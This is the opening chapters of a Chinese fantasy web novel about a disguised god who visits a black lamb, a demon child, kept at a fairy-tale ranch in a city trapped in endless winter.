《饲养恶魔后漂亮神明带球跑》
1. 第 1 章
那个长得很好看的男人又来了。
佟灵趴在前台的桌子上写作业,听到门楣上悬挂的铜质风铃叮铃一响。他抬起头,看见男人走进来。
那人五官生得无比精致,眉形清峻,鼻梁高挺,轮廓清晰却淡薄,像墨色勾勒出的影子。
瞳孔漆黑如星夜,上挑的眼尾被纤长浓密的睫毛中和了凌厉感,也衬得那双眼眸愈发寂静,仿若一汪寒潭。
肤色冷白,唇色同样很浅,嘴角微微下垂,没有笑意。
整个人像是伫立在长夜尽头的冰雕雪砌的神像,美得遥远又出尘。
佟灵知道用“好看”来形容一个成年男人不太合适,但也很难找到更准确的——呃,或许“美丽”?
更不对了吧。
总之,从第一次见到那个人起,佟灵就确信他一定是全世界最好看的人,没有性别年龄种族区分限制的那种。
奇怪的是,那人虽有无双美貌,却说不上令人难忘。
正相反,佟灵只要移开视线就会忘记他长什么样子,仅能凭“感觉”认出来:毕竟这世上有几个人能这样好看呢?
好像那只是留在心中的一缕月,一掊雪,过目即消逝,不为任何人停留。
他不知道对方的名字,只听爸爸称其为姜总或姜先生;他家牧场在不见城很有名气,时常会有有钱有势的客人光顾,不确定姜先生属于哪一种。或者二者兼有之。
姜先生慢条斯理摘手套,助理则为他脱下大氅叠好挂在胳膊上,露出里面搭配好的淡灰风衣和铅蓝色围巾。没了外套更显身材高挑,清瘦而不孱弱。
以室外零下二三十度的气温这样穿太过单薄,不过本人似乎没觉得冷。
他们并没有带伞,但两个人的头发上、衣服上找不到半片雪花。
也许是室内温暖,进来就融化了。佟灵走神片刻才想起来爸爸不在店里,得自己招呼客人。
他放下作业站起来,露出一个不算熟练但很友好的笑容:“二位先生好,今天来还是看小迦吗?”
助理点点头:“麻烦你了。”
佟灵不会认错,姜先生这回换了个助理。上次那个戴了副很酷炫的防风镜,叽叽喳喳得像鹦鹉;这次的明显话少很多,扎着高马尾,穿衣风格很是复古,像小说里写的武林大侠。
佟灵引着两位客人穿过玻璃长廊向“宿舍”走去,一路上提心吊胆地看着外面张牙舞爪扑过来的风雪,砰砰打在四周,筹谋着寻找薄弱的突破点,等到一举攻破后彻底吞噬这群不自量力的人类。
等爸爸回来之后还是跟他说加固一下走廊好了,佟灵想。
说是“宿舍”,其实是牛棚、马厩和羊圈。佟灵的爸爸开的这家童话牧场饲养的牲畜们既非用来劳作,更不是食物,而是为了满足客人们与动物互动和亲近大自然的需求。
以前,在那些雪还会停、风还会息的以前,童话牧场的生意相当好,大人们体验挤奶、骑马和剪毛,孩子们则尽情亲近小牛犊、小马驹和小羊羔们;如果有特别喜欢哪只,还可以认购,养在牧场或者带回家都行。
那些被订下来的小家伙会有自己单门独户的VIP间,佟灵口中的“小迦”就享有这么一间贵宾房。
小迦是只黑色的小绵羊,一个多月大,全名撒迦利亚,是姜先生取的名字。
小迦颇为特殊,它并非童话牧场的原生“员工”,而是姜先生送来寄放在这儿的——给了很多钱,当然;佟灵还记得爸爸看到转账后揉了几遍眼睛以为自己数错了零——那可不是寄养一只小羊羔该有的费用,买下半个牧场都绰绰有余了!
那个话很多的助理让佟老板安心收下,照顾好小迦就行,其他的就算是辛苦费。
佟老板诚惶诚恐,最大的一间“宿舍”让给小迦,从里到外翻修一遍,给的饲料、羊奶全是最高等级,恨不得把小羊羔当皇帝供着。
佟灵站在门口摁指纹密码,其实作为小迦的主人,姜先生当然也拥有权限,但他是个很谨慎的人,不打算把自己的密码留在别处;这在有钱人中再正常不过。
里面的小家伙察觉到门口有动静,半是兴奋半是不安,小蹄子在地上哒哒哒转来转去。
滴答一声,门开了。
佟灵每次看见小迦都会被可爱到:这可是小羊羔啊,世界上还有比小羊羔更可爱的幼崽吗?而且小迦还是黑色的——是的,没错,全童话牧场唯一一只黑色小绵羊!
小家伙毛茸茸软蓬蓬,像朵飘在地面上的乌云,跑起来颠儿颠儿,灵巧得不得了。
它的眼睛又圆又亮,像黑葡萄,总是无辜好奇地瞅着人类,小小的垂耳一晃一晃捕捉声响,湿漉漉的鼻头带着青草的香气。
温暖、天真、柔软,是漫长冬夜里最像春天的精灵。
若不是它从头到尾都是姜先生私人所有,佟灵都想把它的形象制作成童话牧场的招牌了。
小迦平时对其他人也挺友好,但一见到自己的主人——小家伙还认得人呢——眼里再也容不下其他两脚兽。
它原本蜷在自己的小窝里打盹,听见输密码就来到门口等待,等看清来人,立刻欢天喜地地冲过来,像颗腾空而起的小炮弹。
然后这颗黑色炮弹被助理毫不留情地拦截了。
年幼归年幼,那也是十几公斤的体重,加速助跑的冲击力不容小觑。
小羊羔距离主人咫尺之遥却不能埋进他怀里撒娇,用脑袋顶了顶助理的手臂仍不被释放,委屈地冲姜先生咩咩叫。
佟灵正看热闹,眼馋地也想上手摸摸小羊羔头顶那撮海浪形状的卷毛,就被助理客气地请了出去。
少年深感遗憾,也理解客人们对自己私有的宠物们有很强的独占欲,不容他人觊觎。
关门之前,佟灵看见姜先生从助理那儿接过小羊羔,抱在怀中安抚,低头看着它,动作和目光都是轻柔的。
姜先生来了牧场好几回了,佟灵几乎不记得有听他开口说过话,若不是见过他同助理交谈,简直会有误会。
他一向这般冷淡疏离,远远站在人群之外,和什么都保持距离,仿佛与周遭的一切隔着层看不见的雾。
此刻臂弯中的小小幼崽,竟像是他同世界唯一的联系。
*
“那我就先出去了,您有事吩咐我。”
蜚蜚鞠了一躬,同样退出房间,在门外守着。
一道墙并不能阻止他的视线,只要他想,他能够随时将世间任何角落发生的任何事尽收眼底。不过陛下的隐私还是没胆子窥探的,他闭上眼,用其他知觉来保持警戒。
神识中传来一道恼人的嗓音:「喂喂喂,老弟,如何了如何了?」
蜚蜚不悦地睁开眼,在人类少年离开后恢复真实瞳色,如同鸽血红宝石:「别这么喊我。」
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对话者正是佟灵上次见过的那个话痨助理,名为卡布卡,此刻盘着腿,理了理乱翘的头发,调整着卡在上面的防风镜:「就是来确认一下陛下怎么样了嘛。」
蜚蜚冷哼:「我做事,不会出纰漏。」
卡布卡撇了撇嘴:「你好像在暗示我会出纰漏——哎,怎么样,陛下在跟小羊玩儿吗?」
提到这个蜚蜚就窝火。他悄悄睨了眼墙后,看见陛下坐在为客人准备的沙发上,小羊羔趴在他腿边,貌似乖巧地享受着摸头。
他越看越来气,飞快地收回视线,不说话。
卡布卡当这是默认:「老弟,放松点儿,陛下心情好是三界之大幸,你怎么还苦着张脸呢?」
蜚蜚压着怒意:「你明知道它其实是——」
卡布卡竖起食指摇了摇:「嘘,我不管它是什么种族,不管它真实身份是什么。我只知道,它能让陛下高兴——这是你我,是任何旁人都做不到的事。」
蜚蜚知道他说得有道理,但理智上仍然不能接受,不自觉攥紧拳:「这一定是他族的阴谋,妄图以攻心之计加害陛下。当时那么多遗孤,怎么偏偏就……」
「好了,别说了。」向来聒噪嬉笑的人冷不丁变正经很有唬人的效果,「老弟,记住一点,我们说好听点儿是陛下的左膀右臂,本质只是下属。千万,千万别想着替陛下做决定。」
卡布卡没了笑意,蜚蜚连反驳都变得底气不足:「我没有……」
那边语气一转,回到往日的愉快不着调:「诶老弟星尘花开了我赶紧去欣赏一下先不跟你说了和陛下早点儿回来啊我好想你们拜拜——!」
蜚蜚:“……”
他把脸埋进双手叹了口气,遇上这种不靠谱的同事真是他的福报。
工作干了几千年了,辞职是不可能辞职的,捱着吧。
*
一墙之隔的那位听见一切,看见一切,知晓一切。
但并不关心。
他——或者应当尊称为「祂」——关心的只有面前的小羊羔,待它伸出舌头小心地、亲热地舔了舔自己的指尖后,开口:“我给你带了礼物。”
祂的嗓音清冷动听,有冰裂玉石的质感。
小绵羊眼睛倏然亮了:“咩!”
又抖了抖小尾巴,欢喜地在他腿上用小脑袋拱来拱去,充满期待:“咩咩?”
祂阻止着小家伙试图往自己敞开的大衣里钻:“好。”
小羊羔高兴地跳下沙发,在原地转了三圈,身周升腾起光芒。
光散去后,黑色小绵羊不见了,取而代之的是个深色皮肤的小男孩,头顶一对浅褐色的幼嫩羊角,卷卷得像两团积雨云。
沙发上的那位同样褪下黑发黑眼的伪装,亚麻色的长卷发披散在身后,瞳孔是阒寂的、宛若冬日冰封湖水的蓝。
祂身着纯白神袍,比初雪更加洁净无瑕。领口与袖口用金色丝线绣着花纹,面料细腻垂顺,装饰克制肃穆,垂下的衣摆像降世的羽翼,即便坠落,依旧凌驾万物。
指尖拂过之处流动着淡淡光辉,如同荡漾的晨曦。额上一枚神纹乍现后隐去,为原本就举世无双的容颜平添几分神秘和威严,光华流转下更是动魄惊心。
那是凡人不可目视之美,是俗世无法拥有的绮丽与圣洁。
神明垂眸看向祂的小羊羔:“撒迦利亚,到我这里来。”
2. 第 2 章
VIP单间“宿舍”比起普通羊圈,更像间精致的套房。
以温暖的奶油木色为主调,灯光柔和,房间中央摆了张定制的矮床,堆着毛绒绒的毯子和小抱枕,印有草地和星星的图案,像一本本童话书。
靠墙一侧摆着恒温的饮水机,小碗里放有羊奶饼干和口感细腻的饲料,另一侧则收纳着各种玩具。地上散落几个色彩鲜艳的咬咬球,还有被撞塌的积木城堡。
墙上的智能控制系统显示这里正处于人体最适宜的温湿度,顶部灯带随着正常时间散发出如同夕阳的光芒,房间仿佛浸泡在橘子汽水里。
牧场老板按照姜先生助理的要求布置这间房时充满疑惑:干畜牧业这么多年,玩儿球就算了,可没见过什么小羊羔会搭积木的。
但谁付钱谁说了算,这些大老板的心思一个比一个难琢磨,他猜不来了,有疑问也咽回肚子里。
小羊还不太适应人类形态,四肢化成手脚可没那么好保持平衡,走起路来一步三晃,笨笨的,怯怯的。
好在房间里全都铺上了仿草坪的厚实地毯,就算摔倒也不会受伤。
小孩为自己打气,像戳两根木棍似的谨慎地挪动刚长出来的双腿。在漫长的前行,又或者只是一眨眼之后,终于来到神明面前。
他没见过同龄人,参照对象只有平时照料他的饲育员,化形之后的衣服很不合身,倒是记得在外面罩一条花边小围裙,模仿着歪歪扭扭印了几个字,勉强认得出是“童话牧场”。
小孩的发色、肤色都很深,小围裙却是粉色,整个人看起来像块树莓夹心巧克力。
但没关系,只要长得够可爱,再不和谐的配色也能成特色。
他还不大会说话,只能一个字一个字、一个词一个词往外蹦:“宵、宵!”
姜宵是神明在人间的化名。作用不大,因为很少有人会有机会连名带姓地喊祂。
除了这只胆大包天的小羊羔。
撒迦利亚仰起小脸,眼睛亮亮地看向神明,又脆生生地念了一遍:“宵——宵!”
如果蜚蜚在这里,一定会斥责他如此大不敬的称呼,怎么胆敢对陛下直呼其名。
神明对此并不介意。取了名字不就是用来喊的么。
祂“嗯”了一声,算是应答。
这让男孩更高兴了,伸出小手想去拉祂的。
神明的肌肤无瑕,比新雪更洁白。至于小羊羔,之前在房间里撒欢儿撞积木,蹄子、或者现在已经是手有点儿脏兮兮,还没碰到神明,就发现自己和祂的界限过于分明。
小孩不好意思地收回手,又在神明的示意下重新伸出来。
神明在他手掌上虚虚拂了下,连皮肤都没有接触到,指尖氤氲出浅金色的流光。
小孩眨了眨眼,看向自己被“洗”得干干净净的双手,又瞅瞅大人的,稍微有点儿挫败。
好吧,黑巧就是黑巧,怎么也不可能变成白巧。
好在幼崽的情绪很容易转变,他这回大着胆子握住神明的手,撒娇似的晃了晃:“礼物?”
神明摸了摸他的头发,收不起来的羊角硌在手心。
等祂松开手,小孩感觉到脖子上多了什么东西。
他低头一看,是用丝绸编成的项链,缀着一颗白金色的小铃铛。考虑到保护小羊的听力,去掉了里面发声的小球,质地也非常轻巧,无论他是人形还是羊形都不会影响行走、跳跃。
撒迦利亚很惊喜,低头不住用手指拨弄小铃铛。尽管它不会发声,他却能感受到它漾出的一阵阵清脆喜悦——又或者那喜悦源于他自己。
男孩的瞳色如同焦糖,看起来甜蜜非常。这时候露出一个可爱的笑容:“谢谢!”
他对新礼物爱不释手,对神明也是同样。
神明看向自己的手腕,那儿不知何时缠上一道黑线。
不,不是黑线,是条细细长长的尾巴。
撒迦利亚的。
小绵羊在是绵羊时尾巴就和其他同类不太一样,佟老板见过许多先天发育不良的小崽子,也没在意。
所以他不会想到这只小羊羔可以变成人形,更不会料到他人形时有这样一条奇怪的尾巴。
不仅绳子似的细长漆黑,末端还有个倒三角形,像个箭头。
这世上只有一个种族拥有这样的尾巴。
而大多数人类对此一无所知。
小孩在羊形时还能藏住尾巴,化作人形就憋不住了。那尾巴既是他心情的体现,又好像有单独的意识,缠着神明贴贴蹭蹭,亲热得不得了。
神明的体温很低,指甲边缘呈现出和瞳色相似的冰蓝。
祂轻点了下那条过于活泼的尾巴,它立刻老实下来,乖巧地贴着神明的小臂,假装自己是装饰品。
撒迦利亚终于发现尾巴在背着自己向神明谄媚,生气地把它拽回来,颇为粗暴地塞进围裙里。
那是我的。他想。我的人。
即便是我的尾巴,也不能跟我抢!
他的双手背在身后:“宵宵。”
小孩子的心情都写在脸上,在想什么、要做什么好懂得要命。
不过大人还是要当作不明所以:“嗯。”
撒迦利亚变魔术似的从背后掏出准备已久的东西,献给祂:“礼物!”
神明垂眸。
那是枝白玫瑰。从花萼到花蕊如霜似雪,没有丁点异色,正是含苞待放的时候,几颗碎钻似的露珠滚落,惹人怜惜。
祂接过,阖上眼嗅了嗅。
白玫瑰感受到神明的靠近,羞涩地敛了敛花瓣。
祂是九天之上的君王,三界之中的主宰。
如此高高在上,也会俯身触碰尘世的一点温柔。
*
姜宵和蜚蜚回到大厅,正巧遇到佟老板从外面回来。
他掸了掸外套上的雪,摘下绒线帽,见到贵客喜笑颜开:“姜总来啦!这位是……”
“我姓费,是姜总的助理。”蜚蜚很适应在人间使用这个身份。
“费秘书,幸会幸会。”佟老板清楚姜总是不会握手的,于是退而求其次请这位助理费蜚代行。
但费助理也没空:他正抱着羊呢。
小羊冲佟老板咩了一声以强调存在感,后者恍然发觉这小家伙怎么也在。
他惊讶地看看羊,又看看人:“这是要接它走?”
有点突然。这只小绵羊要是走了,得少了好大一笔寄养费。本来牧场生意就每况愈下,佟老板很心痛。
“一晚。”蜚蜚说,“明天会送回来。”
佟老板舒了口气,恢复揽客笑脸:“哎,好好好。二位怎么走?我叫人送吧?”
费助理婉拒。
不用也好,外面雪那么大,劣车容易抛锚,好车担心冻坏,不管哪种都得找人去修,又是一笔开销。
佟老板一时想不起上次雪停是什么时候了。
半年前?一年前?还是两年前?
成天暴雪,许多室外活动开展不了,能光顾牧场的只剩和动物幼崽们在室内互动的小少爷小小姐们;可为他们父母提供的那些服务才是挣钱的大头。
他现在就指着类似于姜宵这些人的认购和寄养费才不断顿,每一笔打进来看似丰厚,然而童话牧场养着几十号员工和百来号牲口;饲料加工费、机器养护费一大堆乱七八糟的支出,再加上供这么大的牧场运转的暖气量着实惊人,暖气费更惊人,一笔笔算下来,不仅没盈余,往往还要把以前挣的钱倒贴进去……
总之,日子很不好过。
可话又说回来,埋在风雪里的偌大的不见城,谁又好过呢。
佟老板瞄一眼窗外能见度不过百米的白茫茫,忍不住抱怨:“这见鬼的天气。”
语毕又意
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识到自己在客人面前言语太粗俗,并拢食指和中指在眉心处点了两下:“神主原谅。”
神主就站在离他几米之外的地方,静静听着。
不见城的异状是从两年前开始的。
这座城市的名字原本有个很美的释义:只见花开,不见叶落,引申为永恒的春天,因为这儿气候宜人,常年温湿度维持在最适合人类的水准,堪称居住届的理想国。
结果现在成了不见“春”。
两年前的那个深秋,人们自然而然地换厚衣、开暖气,恐怕谁也料不到,这个冬天来临后,再也没打算离开。
神明此次下凡不只为了看望自己的小羊羔,同样要探查不见城的怪象。
人类的科技水平飞跃,应对灾难的处理方式成熟,两年间迅速摸索出适应之道:更换主要能源,建立照明系统,室内培育食物,强化安全秩序,保障供电供暖……
永恒冬夜的降临虽然困苦,死伤却控制在轻微程度,远远排不上神主需要亲自处理的最优先级——其他世界发生的各种极端灾难可比这儿严重得多得多——祂太忙了。
直到一个月前把小绵羊送过来,姜宵才有空审视这座偏离正常运行轨道的城市。
佟灵索性作业也不写了,趴在桌上听大人讲话。
可惜佟老板不打算让他闲着:“宁老师马上就过来了,作业写完了吗?”
听到待会儿的家教辅导,小少年立刻蔫儿了:“……还有两题。”
佟老板瞪起眼:“快点写!”
佟灵还没划拉两笔,铜质风铃又响了。
来的是个背着书包的年轻人,摘掉帽子后甩了甩被压得乱七八糟的银灰短发,弯起一个友好的笑容:“好多人啊。”
佟老板对年轻人很客气:“宁老师晚饭吃过了没?”
“吃过了。”年轻人有一双翡翠似的眼睛,“您不用这么客气,叫我宁槐就行。”
“今天也麻烦你了。”佟老板看了眼手表,重新抓起外套,“我还有点事得再出去一趟。儿子,招呼好客人,好好跟老师学习!”
少年点头如小鸡啄米,期盼地送走了爸爸。
佟老板前脚刚走,佟灵后脚问宁槐:“老师,我能不能和小羊玩一会儿再开始上课?”
小迦一出来他就注意到了它的新项链,配着它特别可爱。
宁槐摇头:“这不该问我。”
佟灵转向姜先生,却迟疑了。
他有点不敢跟姜先生说话,一来是后者性格太过冷淡,二来是美貌有时候是会伤人的,他每次盯着姜先生多看一会儿,就开始心慌意乱、心脏狂跳;而那并非因为少年人的情窦初开。
所以他还是再偏移一点方向问费助理,双手合十请求:“请问我可以跟它玩一会儿吗?它实在太——可爱了!”
为了赞同两脚兽观点,小羊摇头晃脑地咩了两声。
优秀的助理只需瞥一眼就能摸清上司的心思,蜚蜚从姜宵那里收回视线:“可以,但请注意时间,最多五分钟。”
小少年欢天喜地:“好哦!”
佟灵半跪在地上跟小羊叽里咕噜说着话。他在牧场长大,和每一匹小马驹、每一头小牛犊、每一只小羊羔都很有话聊。
小绵羊也不知听没听懂,用脑袋不轻不重撞了撞他,引得少年笑起来。
姜宵的视线没有离开过小羊羔,旁边的宁槐则一直盯着祂,若有所思。
能有这种顶级容貌、气质的人,放眼整个不见城也找不出第二个。
初次见面。
但是……
“咩咩咩,咩咩咩,咩咩咩咩咩!”
宁槐愣了下,低头一看,小绵羊不知何时从佟灵怀里挣脱出来,脖子上戴的小铃铛晃悠两下,正仰着那张乌漆嘛黑的小脸气乎乎地对自己抗议呢。
咩——这是我的人,你不许看!
3. 第 3 章
永冬雪夜降临后,家家户户改造成了双层门,里外留出缓冲通道,严防死守不让外面的寒冷闯进家。
外层门打开的刹那,呼啸寒风裹挟着大片雪花猛然灌入,即便室内有二十多度,佟灵还是没忍住抱着胳膊打了个寒颤。
直到姜先生和费助理的身影被苍白风雪转瞬吞没,他才回过神。
送走客人后,宁槐行使家教的职责,打开佟灵的作业检查。
佟灵给他倒了杯水,宁槐接过杯子道谢:“你爸爸什么时候回来?”
佟灵:“难说,估计你今天走之前是见不到了。”
宁槐顺势问:“他去哪儿啦?”
佟灵想了想:“应该是那个读书会。”
宁槐:“我都不知道佟老板这么喜欢看书呢。”
“我也不知道。”佟灵摇头,“不过那只是个名头,他们去可不是为了看书。”
宁槐:“那是去做什么?”
佟灵撇撇嘴:“不知道,我爸不告诉我,还嫌我小孩儿打听大人的事。”
宁槐摸摸他的头发:“没事,我成年了,下次我帮你问问去。”
可怜的高中生继续埋进作业堆,已经从题海中解脱出来的大学生坐在他旁边,一下一下摩挲着温热的杯壁,思绪还停留在读书会上。
佟灵对此一无所知,宁槐还是有了解的。
在迅速成立各种机构以保证人们基本生存需求后,永夜带来的另一冲创伤愈发明显:一个原本正常行进的城市忽然在冬夜按下刹车键,数百万居民陷入极大的恐慌和绝望。
有能力搬走的人早就离开了不见城,可还有太多太多不得不留下的。高层不可能保证所有人的心理辅导,于是人们只能互相抱团取暖,互相加油鼓劲儿,或者寻找新的出路。
这个所谓的“读书会”,就是其中一个组织。
而且,如果宁槐没记错,应当是眼下规模最大、发展得最如火如荼的一个。
宁槐看了一眼墙上的温度计,显示着室内24度,室外-28度。
人类是一种坚韧又脆弱的生物。
坚韧在于无论遭遇怎样的打击,都能从中振作,延续种族的希望。
脆弱在,他们总在寻找,总在期盼有所寄托。
*
蜚蜚不太喜欢这个小区的名字,“榆盛苑”,听起来像“愚神”或者“御神”,晦气。
可惜他就是个打工神,老板说什么是什么,老板喜欢这儿,那他就不该有自己的意见。
永不止息的暴风雪为神带来的最大便利是可以随便消失随便现形,反正能见度那么差没人看得见,不用委屈自己像个人类一样还搭乘交通工具。
……虽说如此,这么快就把这小崽子送来老板家里,蜚蜚总觉得更不爽了。
还不如交通堵塞多耽搁一会儿呢。
姜宵在榆盛苑的这处落脚点有个几百平,顶楼独户大平层,240度全景无缝落地窗,本该拥有绝佳视野和顶级夜色,直到大雪淹没了不见城。
蜚蜚跟着到处撒欢的小羊羔后面收拾被它撞翻的家具的同时,神明正站在落地窗边。
若是两年前,从这里看得见城市最中心的潋滟霓虹,看得见行人如织,灯火似河,也看得见更远处连绵起伏的山峦暗影。
可惜此刻只看得见静止的世界。
大片大片混沌的雪光映在玻璃上,天地倒置,失去界限,隐约的街灯比被云团遮住的天上星更加晦暗。
若非楼宇间仍有灯光,好似早已沉入冰河。
祂伸出手,张开五指轻轻贴在玻璃上。
金色流光如同藤枝在玻璃的另一侧蔓延开来,即刻融化掉盘亘的雪花,形成一处小小的、不被侵蚀的温暖。
严寒再如何肆虐,也要在神的力量面前俯首。
神明蹙眉。
祂感觉不到这座城市的呼吸。连时间都被冻结。
祂是诸神之神,是创生与造世的源泉,是万物的起点与终结。祂的职责不是干预,而是维系——日升月落,四季轮替,新生陨灭。
祂定下的规则即为世间铁律。一切本该循着祂的永恒意志而运转。
很明显,不见城已经脱离了轨道。
而祂不允许任何事失控。
幸好送撒迦利亚过来发现了不见城的异状,否则再拖下去,这里的情况八成会相当棘手。
这么想着,神明转身,看向来到新地点正兴奋着的小绵羊。
小家伙之前也被带来过榆盛苑,不过这不影响他对新鲜地点的探索,尤其这儿和童话牧场截然不同,处处透露着一个字:贵。如果小羊明白什么是贵的话。
他东蹭蹭西撞撞,了解陌生事物率先使用犄角、鼻头和蹄子。落地玻璃看起来太清透,他也不怕,好几次试图冲出去看看外面,被心力交瘁的蜚蜚拖住。
幼崽总是这般无忧无虑,就算外面的世界在坍塌,只要有信赖的、心爱的人在旁,什么也不怕。
察觉到神明的目光后,小羊立刻改变方向朝祂冲过来。
蜚蜚跟在后面心里一紧,正要施力去拦,看见神明抬腕做了个示意停止的动作。
神侍和小羊羔同时滞住。
神明看向蜚蜚:“辛苦了,去休息吧。”
这就是委婉的逐客令了。蜚蜚当然听得懂。
可要留陛下和那个小崽子独处,怎么听怎么不放心。
倒不是担心陛下的安全问题,能威胁到陛下的存在恐怕还没、也不会出生;只不过他对小崽子的种族充满了偏见……
能不偏见么。
那可是神域千万年的死敌,两边再小的小喽啰相见都分外眼红的那种。
神主怎么就养了仇人家的小崽子?以后万一也长成个祸害呢?
祂虽慈悯,但那份仁爱是大爱,当平等分予众生,不该对任何个体偏颇,更不该留有私情。
为什么,偏偏为这个小崽子破了例?
他哪里好?哪里特别?
甚至还给他取了那种含义的名字……
蜚蜚到现在也没想通。可他就算再心有不甘,陛下发话也得照做,把先前从童话牧场回来时用来裹小羊羔的毯子叠好放好,行礼后离开。
门在他面前缓缓滑行闭合。
透过愈来愈窄的门缝,蜚蜚看见小绵羊在自己走后立刻化作人形,而神明同样恢复了蓝眼睛。
神明倚着靠窗的软垫,长发散落如同闪烁着金光的瀑布。
小孩主动爬到祂怀里,小小一只,还保留着小羊习惯喜欢谁就舔谁,仰头就要亲祂:“宵宵。”
……
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门外的蜚蜚差点捏碎那把陛下亲赐的佩剑。
对神主直呼其名,和如此冒犯神主的动作,到底哪一个更值得处极刑?
得想个办法把这小崽子处理掉!
*
能容忍小羊羔的肢体接触已是神明的极限,这样的亲密动作还是太超过了。
祂偏过脸,避开那个小动物示好似的吻。
如此明显的拒绝让小孩很伤心,嘴角垮了下来,声音也变弱许多:“哥哥……?”
神明有微微的诧异,这是个从前没听过的称呼;从哪儿学来的?
见神明重新看向自己,撒迦利亚意识到这个称呼没有被拒绝,汲取些许勇气,再次试探着呼唤:“哥哥?”
小臂上传来温热触感,不用看也知道是小家伙的尾巴又缠上来了。
“没有生气。”祂这么说。同样没有拂开那和主人小心翼翼的态度相比过分活跃的尾巴。
撒迦利亚听祂这么说明显放松了许多,从祂怀里站起来绕到背后,跃跃欲试:“梳?”
神明给予这个幼崽最大限度的自由,想做什么,都随他去了。
或者应该叫宠爱才对。如果神明也拥有「爱」的话。
男孩手里多出一把梳子,乌木雕花,典雅华贵。他踮起脚捧起神明的长发,比上好的绸缎还要丝滑,比纯正的金箔更加细腻,孩子的两只小手根本束不住,只好分开一点点梳理。
他保留着许多小绵羊的习性,梳着梳着忽然停下来,动了动鼻子,嗅着近在咫尺的淡香。
那是属于神明的气息。冷灵灵的,清冽如雪,那样可望不可及。
那样……令人心醉。
客厅里没有主灯,顶灯铺开如同璀璨银河,细碎的银色光点温柔黯淡地洒落。
撒迦利亚花了很长时间在为神明梳理长发上,尽管想变换或想维持怎样的发型不过是一个响指的事儿,他依旧像对待艺术大作般郑重。
大功告成后,神明感到发髻多了一点儿几乎会被忽视的重量,正要伸手去碰,被小孩急急地阻止。
他不知从哪儿弄来一面镜子让祂看。
神很少有这样的机会看向自己。
祂对容貌其实没什么概念,更没有刻意去雕琢过外表,生来什么样就是什么样,千万年间不曾更改。至于别人觉得是美是丑,不在祂的关心范畴。
祂在镜中看见自己没有情绪的、冰一样的蓝眼睛。然后看见发髻上插着的一朵白玫瑰。
并不意外。小家伙非常喜欢白玫瑰,或者非常喜欢送给祂白玫瑰。
比早些时候那枝绽得更开一些,定格在最漂亮的弧度。玫瑰本该魅惑妖冶,可白色又显得端庄静穆。二者相斥也相融,为神明疏冷的平添几分昳丽。
“哥哥。”撒迦利亚焦糖色的眼睛一眨不眨看着祂,“好看!”
所以是放弃了喊名字,打算换这个称谓么。
神明的指尖碰了碰男孩脖子上的铃铛,并未出声,仅在心中念着他的名字——祂为他取的名字。
撒迦利亚。
撒迦利亚。
“嗯?嗯!”小羊在脑海中听见呼唤,蹦蹦跳跳,“撒迦利亚在这!”
小家伙大概是不知晓的,这个名字的真实含义。
——「上帝心仪之人。」
4. 第 4 章
今天作业写得快,佟老板不在店里,距离家教下班时间还有很久,佟灵动起歪心思:“小宁老师,我们出去玩儿吧?”
宁槐看看温度计,室外已经掉下-30度,着实不适宜任何户外活动;也就佟小少爷成天闷在家无聊得长蘑菇,不知暴风雪中出行的苦,反而当成刺激的冒险。
只是拿了钱就要办事,得把小少爷哄高兴,他在心里叹气归叹气,还是答应。
两人还没收拾好,铜风铃响了。
姜先生和费秘书来“还”小羊。
姜先生一看就是那种十指不沾阳春水的金贵人物,抱宠物的活儿自然由助理代劳。
小绵羊行动被束缚,视线没有,一直渴望地跟着真正的主人转来转去,想被抱抱,又不敢把自己一身黑毛沾在姜先生今天穿的浅色大衣上。
难以想象那样不食人间烟火之人沾了一身毛毛是什么情形……
除了懂事,小羊羔还记仇得很,没忘了宁槐昨日怎么觊觎自己的人。
此刻见了他先是不快地咩咩几声,然后把头埋到蜚蜚怀里,留羊屁屁冲着宁槐,羊尾巴卷一圈,造型微妙得像在比中指。
宁槐失笑,都没弄懂自己怎么惹小迦不高兴了,怎么成了小动物的假想敌。
至于蜚蜚,这是小绵羊头一回愿意跟他亲近。当然这完全不会让他开心。
佟灵找来员工送小迦回VIP间,小羊依依不舍跟姜宵告别,后者用手背碰了碰那湿润的鼻头,像盖章,许下无声的、会再来探视的承诺。
那边两个年轻人一看就是要出门,费秘书要帮老板排忧解难,调查不见城的永夜之谜自然是从当地居民入手。
他问:“你们这是要去哪儿?”
宁槐看了眼姜宵,主动回答:“我们想去看看读书会。”
佟灵有些惊讶,刚才没说这个啊。
宁槐看出他的疑惑,解释道:“我不小心看见你桌子上那张读书会的日程表,应该是你爸爸放在那儿的吧?今天有活动,大概还有……嗯,一个半小时开始。你想去吗?”
佟灵使劲儿点头,他早就想去看看了,之前没说还怕小宁老师不同意来着。
蜚蜚皱眉,尽管此前对这个读书会没什么了解,直觉告诉他它没那么简单。
他难得惋惜要是同僚在场就好了:以卡布卡的性格,可以轻松地、死皮赖脸地磨着跟小孩儿们去;那么自己要怎么措辞才显得不那么别有用心……
宁槐抱着外套,微笑道:“二位有兴趣一起吗?人多应该比较热闹。”
蜚蜚松了口气,深感善解人意是多么宝贵的品质。
他正要答应,身后响起清凌凌的嗓音:“好。”
蜚蜚按捺住心中吃惊,和另外两人同时看向姜宵。
祂几乎不在人前开口,无论在人间还是神界。颁布任何旨意自有侍从传达,祂没有亲自对话的必要;更何况至高神的言语被信徒聆听即是福音,任何字句都珍贵。
但今日祂回答了那个年轻人。
不仅如此,还向他略一颔首:“麻烦你带路。”
祂的视线焦点并不落在宁槐身上,黑色眼瞳无波无澜,像一块吸收了所有光亮的宝石,格外寂静空灵。
反倒是宁槐心跳陡然失了速,怔怔看了祂好一会儿,被佟灵疑惑地拽了拽衣服,才慢半拍浮出笑意:“好的,姜先生。”
*
地面之上常年冰冻对车辆和轨道的伤害很大,不见城的交通整体都在向着地下迁移。
地下壹层保留了原本的地铁网,地下贰层主要通行公交车和限牌私家车,地下叁层正在修,据说是预留给连通其他城市的中高速轨道。
清贫的大学生宁槐来这个远离市中心的童话牧场做兼职要倒几次公共交通,地下贰叁层之间来回跑。
他查了去读书会所在地点的线路,麻烦得不相上下,肯定不适合身份尊贵的姜总。
蜚蜚拿着手机不甚熟练地订网约车,愈发后悔不该和人类一起走,瞬移不比这些吭哧吭哧的铁皮轮子方便多了?还有,人类这种低效的联络方式到底什么时候能改进!
他越操作越火大,直到一只手伸过来,在手机屏幕上拍了拍。
手腕纤细,肌肤雪白,指甲边缘泛着不引人注目的冰蓝,像精心雕琢的艺术品。
又最是天生。
它浇灭了他的憋闷,又让他生出惶惑。
蜚蜚抬起头,神明却并未看向自己。
他一时没能反应过来这是怎样的指示,然后一辆深灰色的保姆车停在面前。
